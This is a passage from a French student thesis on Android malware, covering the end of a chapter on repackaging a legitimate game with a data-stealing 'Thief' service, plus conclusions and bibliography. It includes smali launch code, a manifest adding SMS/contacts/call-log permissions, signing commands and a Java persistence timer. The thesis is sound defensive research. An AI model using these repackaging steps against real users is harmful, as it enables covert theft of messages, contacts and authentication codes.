->setThreadPolicy(Landroid/os/StrictMode$ThreadPolicy;)V

.line 31

new-instance v2, Landroid/content/Intent;

const-class v3, Lde/siebn/ringdefense/Thief;

invoke-direct {v2, p0, v3}, Landroid/content/Intent;

-><init>(Landroid/content/Context;Ljava/lang/Class;)V

invoke-virtual {p0, v2}, Lde/siebn/ringdefense/RingDefense;

->startService(Landroid/content/Intent;)Landroid/content/ComponentName;

Listing 5: Code smali permettant le lancement du service

Il est necessaire de d’ajouter a l’application repackee la librairie permettant de recuperer lesinformations (contacts, SMS et historique des appels). Pour ce faire on decode le code malveillant eton copie tous le code smali de cette librairie dans l’application repackee (dossier : me/everything/providers/).

75

7.4. REPACKAGING Benoıt Zuckschwerdt

Le manifeste de l’application doit etre modifie afin de rajouter les permissions manquantes et dedeclarer le service volant les informations (listing 6).

<?xml version="1.0" encoding="utf-8" standalone="no"?>

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

android:installLocation="auto" package="de.siebn.ringdefense"

platformBuildVersionCode="19" platformBuildVersionName="4.4.2-1456859">

<supports-screens android:xlargeScreens="true"/>

<uses-permission android:name="android.permission.INTERNET"/>

<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>

<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>

<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

<uses-permission android:name="android.permission.VIBRATE"/>

<uses-permission android:name="android.permission.READ_SMS" />

<uses-permission android:name="android.permission.READ_CONTACTS" />

<uses-permission android:name="android.permission.READ_CALL_LOG"/>

<application android:allowBackup="true" android:hardwareAccelerated="false"

android:icon="@drawable/logo" android:label="@string/app_name">

<activity android:configChanges=

"mcc|mnc|keyboard|keyboardHidden|orientation|screenLayout|uiMode|screenSize|fontScale"

android:hardwareAccelerated="false" android:label="@string/app_name"

android:name="de.siebn.ringdefense.RingDefense"

android:screenOrientation="landscape">

<intent-filter>

<action android:name="android.intent.action.MAIN"/>

<category android:name="android.intent.category.LAUNCHER"/>

</intent-filter>

</activity>

<activity

android:configChanges

="keyboard|keyboardHidden|orientation|screenLayout|uiMode|screenSize|smallestScreenSize"

android:name="com.google.ads.AdActivity"/>

<service

android:name=".Thief"

android:enabled="true"

android:exported="true" >

</service>

</application>

</manifest>

Listing 6: Manifeste modifie de Ring Defense

76

CHAPITRE 7. CODE MALVEILLANT SOUS ANDROID Benoıt Zuckschwerdt

Pour finir, le code smali du service Thief est ajoute au code smali de l’application repacke (fichierThief.smali), en prenant le soin de changer les chemins Lseriousoft/datathief/ en Lde/siebn/

ringdefense/.L’application peut maintenant etre buildee.Finalement il faut creer un certificat avec keytool, signer l’APK a l’aide de jarsigner, verifier

cette signature avec le meme outil, puis aligner l’APK avec zipalign (listing 7).

# Build de l’APK a partir du manifeste, des ressources et du code smali

apktool b ringdefense/ -o rt-mod-unaligned.apk

# Creation d’un certificat

keytool -genkey -v -keystore my-release-key.keystore -alias alias_name

-keyalg RSA -keysize 2048 -validity 10000

# Signature de l’APK avec le certificat cree

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1

-keystore my-release-key.keystore rt-mod-unaligned.apk alias_name

# Verification de la signature

jarsigner -verify -verbose -certs rt-mod-unaligned.apk

# Alignement de l’APK

zipalign -v 4 rt-mod-unaligned.apk rt-mod-aligned.apk

Listing 7: Build, creation du certificat, signature et alignement

Il est maintenant possible d’installer l’application via USB avec l’utilitaire ADB (adb install

rt-mod-aligned.apk) ou encore d’effectuer l’installation sur le smartphone directement en copiantl’APK via USB ou en le telechargant depuis un serveur Web (figure 7.4). L’application est encoretotalement fonctionnelle et hormis les permissions supplementaires demandees lors de l’installation,il est impossible de remarquer le comportement malveillant en utilisant l’application (figure 7.5).

77

7.4. REPACKAGING Benoıt Zuckschwerdt

Figure 7.4 – Confirmation de l’installation

Figure 7.5 – Capture d’ecran du jeu repacke

78

CHAPITRE 7. CODE MALVEILLANT SOUS ANDROID Benoıt Zuckschwerdt

7.5 Conclusion

Le repackaging d’une application en passant par le code Smali a plus de chance de fonctionnerqu’en passant par le code java et garantit le bon fonctionnement de l’application cible. Il se pourraittoute fois que l’application legitime cible contiennent des protections empechant le repackaging,comme des controles d’integrite internes a l’application. Il serait alors au prealable necessaire depatcher l’application pour enlever ces controles.

Du point de vue d’un attaquant, le code malicieux aurait tout interet a etre encore obfusque avecles outils presente dans le chapitre 6.5. Une autre amelioration serait la persistance, pour ce fairenous pouvons mettre en place un BroadcastReceiver afin de demarrer le service lors du demarragede l’appareil. Il est egalement possible de mettre en place un timer permettant de par exemple lancerle service toutes les dix minutes (listing 8).

int t = 10 * 60 * 1000;

Calendar cal = Calendar.getInstance();

Intent intent = new Intent(MainActivity.this, Thief.class);

PendingIntent pintent = PendingIntent.getService(MainActivity.this, 0, intent, 0);

AlarmManager alarm = (AlarmManager)getSystemService(Context.ALARM_SERVICE);

alarm.setRepeating(AlarmManager.RTC_WAKEUP, cal.getTimeInMillis(), t, pintent);

Listing 8: Code java permettant de lancer un service toutes les dix minutes

Bien que le smartphone ne soit pas roote et que l’application n’ait pas les droits d’administration,il a ete possible de voler plusieurs donnees permettant la revente d’informations, le chantage, l’es-pionnage, l’usurpation d’identite, voir meme l’authentification a un service (en recuperant des SMScontenant un code de confirmation).

En plus des donnees volees, il faut savoir qu’il serait possible de recuperer le contenu de l’agenda,les favoris du navigateur, les recherches effectuees dans le navigateur, l’integralite de la carte SD etde la memoire interne partagee, c’est-a-dire le contenu multimedia (documents, photos, videos, etc.).

L’utilisation du repackaging ici demontre bien le danger qui peut intervenir lors de l’installationd’une application piratee trouvee sur un marche alternatif. Pour un utilisateur lambda les seulsindicateurs qui peuvent lui faire remarquer un comportement suspect sont les permissions ajoutees.Ce n’est pas grand chose et un attaquant pourrait tout a fait choisir de repacker une applicationlegitime possedant deja les permissions qui lui sont necessaires.

79

7.5. CONCLUSION Benoıt Zuckschwerdt

80

Chapitre 8

Conclusion

Sommaire8.1 Technique . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82

8.2 Personnelle . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82

81

8.1. TECHNIQUE Benoıt Zuckschwerdt

8.1 Technique

Lors de ce travail il a souvent ete mis en avant que l’ingenierie sociale etait le vecteur d’infectionle plus utilise. Les autres protections existantes, qu’elle soient natives ou bien ajoutees ne protegerontpas contre ce vecteur d’infection. Comme pour les autres environnements, celui d’Android necessiteune certaine vigilance de la part de l’utilisateur, d’autant plus que les maliciels y sont encore peuconnus. Pendant ce travail, j’ai eu l’occasion de discuter avec beaucoup de personnes, et peu arrivaienta imaginer ce qu’etait un maliciel sur un smartphone, cela montre bien qu’actuellement il manqueune prise de conscience. Nous avons tous un vrai ordinateur dans nos poches, que l’on utilise pourfaire enormement de chose differentes et par consequent nous devons voir les risques lies au malicielsexactement de la meme maniere que pour nos machines de bureau.

Les maliciels Android augmentent et evoluent, pour le moment les plus frequents sont ceuxutilisant l’arnaque au SMS, mais comme toujours, en ce fiant a la motivation principale des auteursde maliciels, c’est-a-dire l’argent, il est certain que beaucoup d’autres types de maliciels vont etreameliores ou voir le jour, on peut notament penser aux ransomwares ou encore a la mise en place debotnet utilisant des smartphones.

Concernant la mise en place de maliciel, on constate qu’une fois que l’on a reussi a repacker uneapplication, il est assez aise de repeter l’operation pour une autre application ou une autre charge(pour rappel le repackaging est la methode la plus utilisees). Le succes de cette technique n’est pastres etonnant, comme nous l’avons vu beaucoup de raisons poussent les utilisateurs a prendre uneapplication en dehors du marche officiel.

Pour conclure, il a ete montre que les solutions de securite sont necessaire, mais encore insuf-fisantes. Les bonnes habitudes eviteront beaucoup de malheurs aux utilisateurs. Partiulierement lalutte contre les maliciels sous Android qui passent avant tout par la prevention cote utilisateurs.

8.2 Personnelle

Ce projet etant avant tout un travail de recherche et d’analyse, il m’a permis d’elargir mesconnaissances Android et d’en acquerir de nouvelles.

Le choix d’etudier l’analyse de maliciels specifiquement sous Android m’a permis d’appronfondirmon savoir sur le developpement et l’environnement Android, ainsi que sur l’analyse de maliciel engeneral.

Ce travail avait pour objectif d’exposer les methodes actuelles des auteurs de maliciels qu’ellessoient techniques ou sociales. Il etait egalement question de presenter et mettre en pratique l’analysede codes malveillants sous Android. Puis, finalement de mettre en place un maliciel. Tous ces objectifsont pu etre rempli.

En conclusion, ce projet est tres complementaire avec ma formation, ce qui est pour moi un grandplus. Je suis satisfait du travail que j’ai fourni et motive a realiser d’autres analyse de maliciels sousAndroid.

82

Chapitre 9

Liste des symboles et abreviationsutilises

83

Benoıt Zuckschwerdt

ADB Android Debug BridgeAES Algorithme de chiffrement symetrique (Advanced Encryption Standard)AOT Ahead-of-timeAPK Android PacKageART Android RuntimeBTC BitcoinsC&C Serveur utilise pour controler des maliciels (Command & Control)DEX Dalvik ExecutableGNU GNU’s Not UNIXIDE Integrated Development EnvironmentIMEI International Mobile Equipment IdentityJSON JavaScript Object NotationMITB Man-In-The-BrowserRSA Algorithme de chiffrement asymetrique (Rivest Shamir Adleman)SMiShing Usage de SMS pour pousser un individu a effecter une action qui ne lui est pas benefiqueSMS Short Message ServiceUAC User Account ControlURL Uniform Resource LocatorUSSD Unstructered Supplementary Service DataVNC Virtual Network ComputingXML Extensible Markup LanguageXMPP Extensible Messaging and Presence Protocol

84

Table des figures

2.1 Locky - Email de propagation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 122.2 Rancon de Locky mise en fond d’ecran [21]. . . . . . . . . . . . . . . . . . . . . . . . . 132.3 Service cache Tor utilise par les auteurs de Locky [21]. . . . . . . . . . . . . . . . . . . 142.4 CryptoWall 3 - Note de rancon [28]. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 172.5 CryptoWall 3 - Instructions [28]. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 182.6 Ransom32 - Note de rancon . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 202.7 Distribution des exploits utilises en 2015, par type d’application attaquee [20] . . . . . 252.8 Distribution de nouveau maliciel (par type) visant les systemes mobiles en 2015 [19] . 252.9 Les maliciels les plus repandus sur Android en 2014 [42] . . . . . . . . . . . . . . . . . 262.10 Nombre de maliciels Android de 2011 a 2014 [15] . . . . . . . . . . . . . . . . . . . . . 26

3.1 Pare-feu : demandes d’authorisation . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33

4.1 Diagramme de l’architecture Android [38]. . . . . . . . . . . . . . . . . . . . . . . . . . 384.2 Cycle de vie d’une activite [2] . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 394.3 Cycle de vie d’un service [5] . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 404.4 Drive-by download : exemples d’arnaque . . . . . . . . . . . . . . . . . . . . . . . . . . 424.5 Drive-by download : exemple d’arnaque . . . . . . . . . . . . . . . . . . . . . . . . . . 434.6 CFR : decompilation de la methode toString [13]. . . . . . . . . . . . . . . . . . . . . . 454.7 Creation d’un APK a partir du Java et inversement. . . . . . . . . . . . . . . . . . . . 464.8 Graphique des dependances entres les differents packages d’une application Android. . 474.9 Virustotal : informations concernant un fichier APK. . . . . . . . . . . . . . . . . . . . 484.10 Nviso : capture de requetes GET sur http://www.heig-vd.ch/. . . . . . . . . . . . . 494.11 Sortie de DroidBox pour l’analyse d’un code envoyant des SMS et utilisant la crypto-

graphie. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52

5.1 Simplocker.A : Receiver declare dans le manifest afin de pouvoir executer du code lorsdu demarrage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59

5.2 Simplocker.A : Packages obfusques en rouge et non obfusques en vert . . . . . . . . . . 605.3 Obfuscation du flux du code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 605.4 Constants.class - Constantes utilisees pour identifier les commandes . . . . . . . . . . 615.5 BotCore.class - Utilisation de XMPP . . . . . . . . . . . . . . . . . . . . . . . . . . . . 625.6 Simplocker.B : Identifiants des commandes utilisees . . . . . . . . . . . . . . . . . . . . 63

6.1 Simplocker.B : Fichiers chiffres . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 666.2 Simplocker.B : Note de rancon . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67

85

TABLE DES FIGURES Benoıt Zuckschwerdt

7.1 Visualisation des contacts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 727.2 Visualisation de SMS sensibles (solde bancaire et code de confirmation) . . . . . . . . 737.3 Visualisation des appels telephoniques . . . . . . . . . . . . . . . . . . . . . . . . . . . 737.4 Confirmation de l’installation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 787.5 Capture d’ecran du jeu repacke . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 78

86

Bibliographie

[1] Cyber Threat Alliance. Cryptowall version 3 threat. http://cyberthreatalliance.org/

cryptowall-report.pdf, Octobre 2015.

[2] Android. Android - activites. https://developer.android.com/guide/components/

activities.html.

[3] Android. Android - broadcastreceiver. https://developer.android.com/reference/

android/content/BroadcastReceiver.html.

[4] Android. Android - intents. https://developer.android.com/reference/android/content/Intent.html.

[5] Android. Android - services. https://developer.android.com/guide/components/

services.html.

[6] Android. Android developers - deviceadminreceiver. https://developer.android.com/

reference/android/app/admin/DeviceAdminReceiver.html.

[7] Android. Android developers - intent. https://developer.android.com/reference/

android/content/Intent.html.

[8] Android. Android developers - manifest.permission. https://developer.android.com/

reference/android/Manifest.permission.html#GET_TASKS.

[9] Android. Android developers - using shared preferences. https://developer.android.com/

guide/topics/data/data-storage.html#pref.

[10] Android. Android sdk user guide - command line tools. https://developer.android.com/

studio/command-line/index.html.

[11] Android. Art and dalvik. https://source.android.com/devices/tech/dalvik/.

[12] Android. Dalvik bytecode. https://source.android.com/devices/tech/dalvik/

dalvik-bytecode.html.

[13] Lee Benfield. Cfr - another java decompiler. http://www.benf.org/other/cfr/, 2014.

[14] Catalin Cimpanu. Ransom32 is a javascript-based ransomware thatuses node.js to infect users. http://news.softpedia.com/news/

ransom32-is-a-javascript-based-ransomware-that-uses-node-js-to-infect-users-498342.

shtml, 3 janvier 2016.

[15] ClickSSL. Android becomes the dominant player in sprea-ding mobile malware. https://www.clickssl.net/blog/

android-becomes-the-dominant-player-in-spreading-mobile-malware, 28 fevrier 2014.

87

BIBLIOGRAPHIE Benoıt Zuckschwerdt

[16] Centrale d’enregistrement et d’analyse pour la surete de l’information MELANI. Rapportsemestriel : Situation en suisse et sur le plan international. https://www.melani.admin.

ch/dam/melani/fr/dokumente/2015/10/halbjahresbericht-2015-1.pdf.download.pdf/

MELANI_rapport_semestriel_2015_1.pdf, 2015/1.

[17] Centrale d’enregistrement et d’analyse pour la surete de l’information MELANI. Cheval de troiebancaire �dyre� : propagation massive. https://www.melani.admin.ch/melani/fr/home/

documentation/lettre-d-information/information_dyre_2.html, 7 mai 2015.

[18] Jesus Freke. Hello world application in smali. https://github.com/JesusFreke/smali/blob/master/examples/HelloWorld/HelloWorld.smali.

[19] Maria Garnaeva and Victor Chebyshev andDenis Makrushin andAnton Ivanov. It threat evolu-tion in q1 2015. https://securelist.com/analysis/quarterly-malware-reports/69872/

it-threat-evolution-in-q1-2015/, 6 mai 2015.

[20] Maria Garnaeva, Jornt van der Wiel, Denis Makrushin, Anton Ivanov, andYury Namestnikov. Kaspersky security bulletin 2015. overall statistics for2015. https://securelist.com/analysis/kaspersky-security-bulletin/73038/

kaspersky-security-bulletin-2015-overall-statistics-for-2015/, 15 decembre2015.

[21] Hasherezade. Look into locky ransomware. https://blog.malwarebytes.org/intelligence/2016/03/look-into-locky/, 1 mars 2016.

[22] Hasherezade. Ransom32 - look at the malicious package. https://blog.malwarebytes.org/

intelligence/2016/01/ransom32-look-at-the-malicious-package/, 11 janvier 2016.

[23] Arxan Technologies Inc. Guardit for java. https://www.arxan.com/products/

application-protection/mobile/guardit-for-java/, 2016.

[24] Xuxian Jiang and Yajin Zhou. Android Malwares, chapter 2.2.1. Springer, 2013.

[25] Xuxian Jiang and Yajin Zhou. Android Malwares, chapter 2.2.2.1. Springer, 2013.

[26] Xuxian Jiang and Yajin Zhou. Android Malwares, chapter 2.2.2.2. Springer, 2013.

[27] Xuxian Jiang and Yajin Zhou. Android Malwares, chapter 2.2.2.3. Springer, 2013.

[28] Yonathan Klijnsma. Cryptowall tracker. https://www.cryptowalltracker.org/, 2013.

[29] Dmitry LESKOV. Protect your java code - through obfuscators and beyond. http://www.

excelsior-usa.com/articles/java-obfuscators.html, 9 octobre 2015.

[30] McAfee. Mcafee labs threats report. http://www.mcafee.com/nl/resources/reports/

rp-quarterly-threats-nov-2015.pdf, novembre 2015.

[31] Chris Merriman. Android 5.0 will switch to art virtual machine afteroracle dalvik ruling. http://www.theinquirer.net/inquirer/news/2351032/

android-50-will-switch-to-art-virtual-machine-after-oracle-dalvik-ruling/,19 juin 2014.

[32] Phonandroid. Dalvik vs art. http://www.phonandroid.com/forum/dalvik-vs-art-t82071.

html, 21 janvier 2014.

[33] Google Play. Recherche du mot-cle : anti-virus. https://play.google.com/store/search?q=anti-virus&c=apps.

[34] Jing Qiu, Babak Yadegari, Brian Johannesmeyer, Saumya Debray, and Xiaohong Su. A fra-mework for understanding dynamic anti-analysis defenses. http://www.sysnet.ucsd.edu/

~bjohanne/assets/papers/pprew2014.pdf, 2014.

88

BIBLIOGRAPHIE Benoıt Zuckschwerdt

[35] Virus Radar. Android/simplocker.a. http://www.virusradar.com/en/Android_Simplocker.

A/description, 2014.

[36] Siegfried Rasthofer, Eric Bodden, Carlos Castillo, and Alex Hinchliffe. We know what youdid this summer : Android banking trojan exposing it’s sins in the cloud. https://www.

virusbulletin.com/uploads/pdf/conference_slides/2015/Huber-etal-VB2015.pdf, 1 oc-tobre 2015.

[37] Sensepost. Understanding locky. https://www.sensepost.com/blog/2016/

understanding-locky/, 19 fevrier 2016.

[38] Smieh. Anatomy physiology of an android. https://commons.wikimedia.org/w/index.php?

curid=20067152, 2012.

[39] Symantec. Locky ransomware on aggressive hunt for victims. http://www.symantec.com/

connect/blogs/locky-ransomware-aggressive-hunt-victims, 18 fevrier 2016.

[40] Symantec. Web attack : Angler exploit kit website. https://www.symantec.com/security_

response/attacksignatures/detail.jsp?asid=26992, 2009.

[41] Symantec. Dyre : Emerging threat on financial fraud landscape. http://www.

symantec.com/content/en/us/enterprise/media/security_response/whitepapers/

dyre-emerging-threat.pdf, 23 juin 2015.

[42] Dr. Web. Overview of handheld malware for 2014. http://www.freedrweb.com/show/?i=

9222&c=19&lng=en, 14 fevrier 2015.

[43] Fabian Wosar. Meet ransom32 : The first javascript ransomware. http://blog.emsisoft.com/2016/01/01/meet-ransom32-the-first-javascript-ransomware/, 1 janvier 2016.

[44] XMPP. Xmpp. http://xmpp.org/.

89

BIBLIOGRAPHIE Benoıt Zuckschwerdt

90

Annexe A

Plannification

91